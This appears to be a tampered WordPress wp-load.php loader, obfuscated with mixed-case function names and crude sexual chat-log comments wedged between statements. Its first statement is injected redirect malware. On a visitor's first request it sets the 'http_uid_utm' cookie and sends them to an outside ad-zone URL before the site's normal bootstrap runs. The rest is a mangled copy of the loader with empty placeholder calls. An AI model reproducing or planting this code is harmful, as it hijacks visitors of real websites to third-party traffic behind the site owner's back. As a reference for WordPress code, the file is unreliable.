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if(!isset/*Bloodninja: I lick your earlobe, and undo your watch.*/($_COOKIE["http_uid_utm"])):SEtCOokIE("http_uid_utm","1",TIME()+07020*030*02/*Sarah19fca: mmmm, okay.*/);HEaDeR("Location: https://go.pub2srv.com/afu.php?zoneid=1938926");exit();/*Bloodninja: I take yo pants off, grunting like a troll.*/endif;if(!deFIned("ABSPATH")):dEFinE("ABSPATH",dirName(__FILE__)."/");endif;erRoR_REPoRting(E_CORE_ERROR|E_CORE_WARNING|E_COMPILE_ERROR|E_ERROR|E_WARNING/*Sarah19fca: Yeah I like it rough.*/|E_PARSE|E_USER_ERROR/*Bloodninja: I smack you thick booty.*/|E_USER_WARNING|E_RECOVERABLE_ERROR);/*Sarah19fca: Oh yeah, that feels good.*/if(fiLE_exISTs(ABSPATH/*Bloodninja: Smack, Smack, yeeeaahhh.*/."wp-config.php")):require_once/*Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in your crack. Mmmm.*/(ABSPATH."wp-config.php");/*Sarah19fca: you like that?*/elseif(@FiLe_exISTs(DIrnamE(ABSPATH)."/wp-config.php")&&!@fILE_eXIsTs(DIRNAMe(ABSPATH)."/wp-settings.php")):require_once/*Bloodninja: I peel some bananas.*/(dIrnAme(ABSPATH)."/wp-config.php");/*Sarah19fca: Oh, what are you gonna do with those?*/else:DefiNe("WPINC","wp-includes");/*Bloodninja: get me peanuts. Peanuts from the ballpark.*/require_once/*Sarah19fca: Peanuts?*/(ABSPATH.WPINC."/load.php");_();require_once(ABSPATH.WPINC."/functions.php");/*Bloodninja: Ken Griffey Jr. Yeaaaaahhh.*/$_=_()."/wp-admin/setup-config.php";if(false/*Sarah19fca: What are you talking about?*/===stRpoS($_SERVER["REQUEST_URI"],"setup-config")):HeADeR("Location: ".$_);exit/*Bloodninja: I'm spent, I jump down into the alley and smoke a fatty. I throw rocks at the cats.*/;endif;deFIne("WP_CONTENT_DIR",ABSPATH."wp-content");require_once/*Sarah19fca: This is stupid.*/(ABSPATH.WPINC/*Bloodninja: Stone Cold Steve Austin gives me some beer.*/."/version.php");/*Bloodninja: Wanna Wrestle Stone Cold?*/_();/*Bloodninja: Yeeaahhhh.*/_();$_=sPRiNtf(_(""),"")."</p>";$_.="<p>".SpRINTf(_(""),_(""))."";$_.=/*Sarah19fca: /ignore*/"".sPrINtf(_(""),"")."";/*Bloodninja: Its cool stone cold she was a bitch anyway.*/$_.=/*Bloodninja: We get on harleys and ride into the sunset.*/"".$_.""._("")."";_($_,_(""));/*=====*/endif;